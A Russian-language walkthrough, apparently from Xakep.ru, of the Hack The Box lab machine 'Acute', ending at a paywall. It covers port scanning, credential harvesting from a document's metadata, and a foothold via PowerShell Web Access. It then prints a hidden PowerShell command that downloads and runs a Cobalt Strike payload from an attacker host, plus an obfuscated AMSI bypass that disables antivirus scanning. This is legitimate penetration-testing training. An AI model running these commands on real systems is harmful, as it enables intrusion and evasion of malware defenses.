Содержание статьи
Проходить мы будем машину Acute с площадки Hack The Box. Уровень сложности — hard.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.145 acute.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
По результатам сканирования имеем всего один открытый порт — 443, стандартный для веб‑сервера. Поскольку на нем используется SSL, мы можем посмотреть сертификат и в поле commonName
находим домен, для которого он действителен. Nmap автоматически отображает это поле в результате сканирования. Новый домен тоже добавим в /
.
10.10.11.145 acute.htb atsserver.acute.local
Идем осматривать сайт. Ссылок на нем маловато, но одна из них ведет на документ.
Скачаем док для анализа: в нем может быть интересная информация.
Точка входа
В документе находим какой‑то дефолтный пароль. Такие вещи всегда стоит отмечать — при прохождении лабораторок они по закону жанра обязаны еще выстрелить.
Также находим упоминание работы, а чуть дальше и ссылку на PSWA (PowerShell Web Access). Эта функция позволяет удаленно управлять сервером с помощью PowerShell через обычный браузер. Доменное имя из ссылки добавим в файл /
.
10.10.11.145 acute.htb atsserver.acute.local
Переходим по найденной ссылке, и нам открывается панель авторизации PSWA.
У нас есть пароль, осталось найти имена пользователя и машины.
Точка опоры
Файлы вроде офисных документов очень полезны при разведке. Их метаданные могут содержать, к примеру, имя пользователя и название машины. Поэтому первым делом получим метаданные скачанного файла с помощью Exiftool.
Из поля Creator
получаем имя пользователя, а поле Description
раскрывает имя машины. Но с этими учетными данными подключиться не получилось, поэтому я пошел искать на сайте другие подсказки. И нашел... имена пользователей.
Формируем список по уже имеющемуся у нас формату.
И с найденным паролем на обозначенной машине мы получаем командную веб‑оболочку PowerShell от имени пользователя edavies
.
Для дальнейшей эксплуатации и продвижения я решил использовать популярный фреймворк Cobalt Strike. Первым делом создадим листенер.
Для удобной доставки нагрузки будем использовать скрипт на PowerShell, расположенный на локальном веб‑сервере.
После настройки нам даже дадут команду, которую необходимо ввести на целевой системе.
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.14.26:80/info'))"
Но нас останавливает антивирус, который триггернул из‑за AMSI.
Справка: AMSI
Antimalware Scan Interface (AMSI) — это компонент Microsoft Windows, который обеспечивает более глубокую проверку встроенных служб сценариев. Продвинутое вредоносное ПО использует замаскированные или зашифрованные сценарии, чтобы уклониться от традиционных методов проверки. Такое вредоносное ПО часто загружается непосредственно в память, поэтому не использует файлы на устройстве. AMSI — это интерфейс, через который приложения и службы в Windows отправляют запросы на проверку установленному на компьютере средству защиты от вредоносного ПО.
Но мы можем запатчить AMSI, чтобы используемый нами код не уходил на проверку. Метод заключается в изменении адресов заголовков amsiContext
(контекст, в котором происходит сканирование): зануляем указатель.
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
И после повторного запуска нагрузки получаем активную сессию в нашем фреймворке.
Продвижение
Получив контроль над хостом, я сразу просмотрел запущенные процессы и сессии активных пользователей.
Видим запущенные процессы powershell.
в первой сессии. Это значит, что пользователь авторизован и выполняет определенные задачи. Чтобы получить доступ к окружению сессии, нам нужен контроль над ней. Другими словами, наш агент должен работать в той же сессии.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»